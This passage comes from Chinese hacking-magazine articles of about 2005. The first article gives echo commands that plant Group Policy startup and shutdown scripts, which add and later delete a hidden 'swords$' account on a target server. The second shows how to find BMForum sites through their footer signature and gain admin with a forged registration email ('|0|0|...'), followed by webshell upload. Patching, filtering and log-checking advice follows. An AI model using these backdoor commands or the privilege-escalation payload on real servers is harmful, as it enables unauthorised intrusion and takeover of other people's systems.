注意:第一行一定要用’>’,这样才能删除原数据.
(2)echo一个swords2.vbs关闭时用的脚本文件
echo net user swords$ /del> C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown\swords2.vbs
(3)编写一个启动/关机脚本配置文件scripts.ini
echo [Startup] > C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo 0CmdLine=swords1.vbs >>C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo 0Parameters= >>C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo [Shutdown] >>C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo 0CmdLine=swords2.vbs>>C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini
echo 0Parameters=>>C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini
将文件scripts.ini保存到C:\winnt\system32\GroupPolicy\Machine\Scripts下.
最后,等待服务器重新启动计算机或自己强制其启动(手段很多啊)。然后你就等着玩吧。
注意:本方法使用时,须服务器已经指派了计算机启动脚本,否则本方法可能不成功。
三.如果你是本机,或已经连接了对方的3389,但是只有普通用户权限,怎么办?
在启用计算机启动/关机脚本前,必须进行指派.指派计算机启动/关机脚本需要通过组策略MMC(管理控制台)管理单元进行:
(1) 开始/运行/MMC,打开微软控制台
(2) 按ctrl+M键,打开添加/删除管理单元窗口,单击添加。
(3) 在”添加独立管理单元”对话框内选择”组策略”,点击”添加”按钮.
(4) 择缺省的”本地计算机”组策略对象/完成/确定/确定,关闭窗口。
(5) 在生成的“本地计算机”策略中打开计算机配置/Windows设置/脚本(启动/关闭)”节点,双击”启动”或”关机”项目设置计算机启动或关机时使用的脚本,单击浏览加如您要启动的脚本文件,确定。
(6)设置完毕,保存后退出组策略MMC管理单元。等组策略刷新后,这些脚本就会在计算机启动和关机时起作用。
注意:你也可以直接打开gpedit.msc, 依次展开计算机配置/Windows设置/脚本(启动/关闭),然后添加一个启动脚本。然后依次展开“计算机配置/管理模板/系统/登陆,将“显示启动脚本的运行状态”启用。重新启动之后看看吧,打开cmd,输入net user swords$显示详细的信息,噶噶,多了一个用户吧。
作者: swords
来 源: 《黑客防线》
分类 : 技术文摘 | 发表时间 20-12-2005
来自:ReJeCt‘s Blog
蓝色魔法论坛是一个用PHP编写的论坛,在国内被普遍采用。由于它的用户注册模块中的一些代码缺陷,可以导致恶意攻击者将普通用户提升为管理员。先让我们看看一个入侵的范例吧。
入侵范例
现在假设某个不怀好意的用户知道了这个漏洞,通过分析http://www.bmforum.com/bmb/这个网站,可以得到其特征代码,大家可以看看页面下方的一段标识,这在很多论坛都很相似。
这就是查找受害者的特征代码了,仔细看一下,我们会发现采用这个论坛代码的网站大部分应该有“Powered by BMForum Plus!”这样的独特标志。把这个特征代码作为关键字,到百度、Google等网站进行搜索,无数的目标凸现在我们眼前。
小提示:特征代码越准确,就越容易找到受害者的论坛。
随便挑选一个有漏洞的论坛,关于这个漏洞我们就不详细描述其原因了,主要缺陷在于过滤不严,通过伪造“|”使程序在读用户等级时将之判断为管理员。单击“注册”按钮,进入注册页面,在填写邮箱地址时,输入test at test dot com|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|,通过认证后,这个刚注册的新用户就变成了管理员。而这个步骤是如此简单,加上管理员的权限又大,其危害可想而知。
进入“管理中心”,就可以看到管理页面了。在这里,恶意的用户可以做很多事情,比如上传文件构造一个WebShell,上传文件表单即可由用户直接构建。试想,如果管理员知道自己的网站可以被别人这么折磨,其表情想象有多么难看。
实际上,看看网络上到处横行的论坛漏洞,无论是ASP、JSP还是PHP,类似的问题都可能存在。那么,如何进行有效的防范呢?
防范措施
1.密切关注官方补丁
很多使用ASP或者PHP等语言的开发者都有一个不好的习惯,用了别人的代码后就以为万事大吉了。实际上这是一个很大的隐患,因为代码是别人写的,代码的安全问题也只有别人才知道,也许,当某天在自己的论坛上突然收到开发者发来的紧急消息时,我们除了惊讶以外,还可能会有一种被出卖的感觉。因此,关于代码的安全,可以从以下两个角度来分析。
以本文的蓝色魔法论坛为例,可以登录其官方站点http://www.bmforum.com,找到补丁相关的栏目,如http://www.bmforum.com/bmb/forums.php?forumid=4这个地址,看看论坛最新的补丁,这也是对自己和客户负责的一种行为。一般来说,论坛代码的普及程度越高,论坛的受攻击可能就越大。众所周知,动网论坛的补丁现在甚至可以和微软媲美了。如果使用的是动网论坛,就必须随时关注其最新安全动态,可以通过动网的论坛、安全杂志、安全网站等,这样可以在最快的时间内了解问题所在,并及时进行防范和解决漏洞。
除了关注官方补丁,如果对问题比较了解,可以直接进行修补。如下面的一行代码,利用正则表达式,判断如果含有javascript就进行拆分,这样就可以有效的消灭跨站式攻击,部分代码修改后如下所示:
if ($allow['pic']){
$message = preg_replace(“/\[img\](.+?)\[\/img\]/eis”,”cvpic(‘\1′)”,$message);
$message = preg_replace( ‘/javascript/i’, ‘java script’, $message);
}else{
2.阅读代码并理解代码
现在,由于很多论坛的安装十分智能化,很多使用者也懒得去看代码是如何实现功能的,直接点击“下一步”或者直接上传到服务器上就万事大吉了。这其实是一个不好的习惯,知其然的同时也要知其所以然,通过仔细阅读并理解代码,才能真正找到出现问题的地方。
比如,在Web程序中,数据库的安全是一个很严肃的问题。很多代码的编写者意识到了这类问题,并且小心翼翼地对他们认为有问题的地方做了补救,但常见的情况是要么没有穷尽所有的可疑地点,要么这种补救逻辑上有误。对于一个耐心且嗅觉灵敏的攻击者来说,这种意义上的补救措施和没有任何补救措施没有本质上区别。
常见的输入变量有三种:数字,字符串还有集合。对于数字型的输入变量,简单调用一下判断函数即可,见得到的代码中,凡是检查了这类变量的,几乎都正确。对于字符串型的来说,基本上在插入到生成的SQL语句时,前后都有单引号,如果仅从破坏注入条件来看,把单引号替换成两个单引号应该问题不大。同理,如果是一个字符串的集合,也可以简单的用这种方法。而如果是数字的集合,情况可能稍微麻烦一点,至少你得允许数字、逗号或许还有空格之类的符号在输入中正常出现,这样子的过滤规则可能显得复杂。
典型例子是不管不顾地对所有的输入变量都去掉单引号,或者是把单引号替换成合法的两个单引号,例如:
id = replace(request.querystring(“id”), “‘”, “”)
这个做法很有可能是错误的。因为引起SQL注入的不总是单引号,再扩大一点,引起问题的不是任何单独的符号。正确的利用注入,重要的一点是闭合前面的一句SQL查询语句,往往是得先正确地闭合前面一个条件,因为我们可能会在同一句里面引入新的条件,补救措施只要破坏注入条件应该就可以了,但是考虑到其复杂性,最好还是较为完整的限制一下输入的字符种类。这就需要在实际代码中多多留心一下了。因此,在使用对方提交的数据之前,先做一个对方所有可能进入字符的分析列表,然后就每一种输入分支情况进行类型的审核,这也是每个代码使用者所应该了解的一些基本防范规则。
3.检查网站安全日志和后门文件
一般来说,入侵者总会或多或少的留下一些蛛丝马迹。下面,我们来查找一下。蓝色魔法论坛有一个“安全日志”栏目,这里面记录了一些登录的信息。即使攻击者清空了信息,依然会留下一条类似的记录:“清空论坛安全日志”,作为一个聪明的管理员,应该可以从中看到一些入侵的迹象,而不是蒙在鼓里受罪。另外,根据分析,我们发现,这个版本的论坛对24小时内进入管理员界面的用户也有记录。
打完补丁并不代表问题已经解决了。攻击者很可能已经上传了一些网页木马程序或者修改了系统的一些设置,这就需要查看其中改动的部分了。如前不久所产生的动易上传漏洞中,一个变量的出错就导致了上传漏洞的产生。因为asp (后面有空格)是不等于asp(后面没有空格)的,而Windows对于碰到有空格的文件会自动去掉空格,所以当攻击者上传一个“asp ”(有空格)的文件就会变成一个asp(没有空格)的文件。针对这种情况,就要仔细查看各上传文件的保存目录中是否存在asp、asa、cdx、cer、aspx等扩展名的文件,如果已经存在,说明已经被上传了木马,实在没有把握的情况下,就要删除所有ASP文件,然后重新下载官方文件覆盖。
这也间接告诉我们,在论坛上注册资料的时候,一定要注意保护个人重要信息。如果攻击者得到了这些信息,比如具体的生日或者密码问题答案,他就可以轻易的更改用户的邮箱密码。是通过论坛获取的用户资料来破解的一个邮箱,通过重新设置密码,这个用户的邮箱资料就完全掌握在攻击者手中了。
4.多级加强WEB服务器安全
在网络安全领域,用于防止从Internet对内部网络进行攻击的防
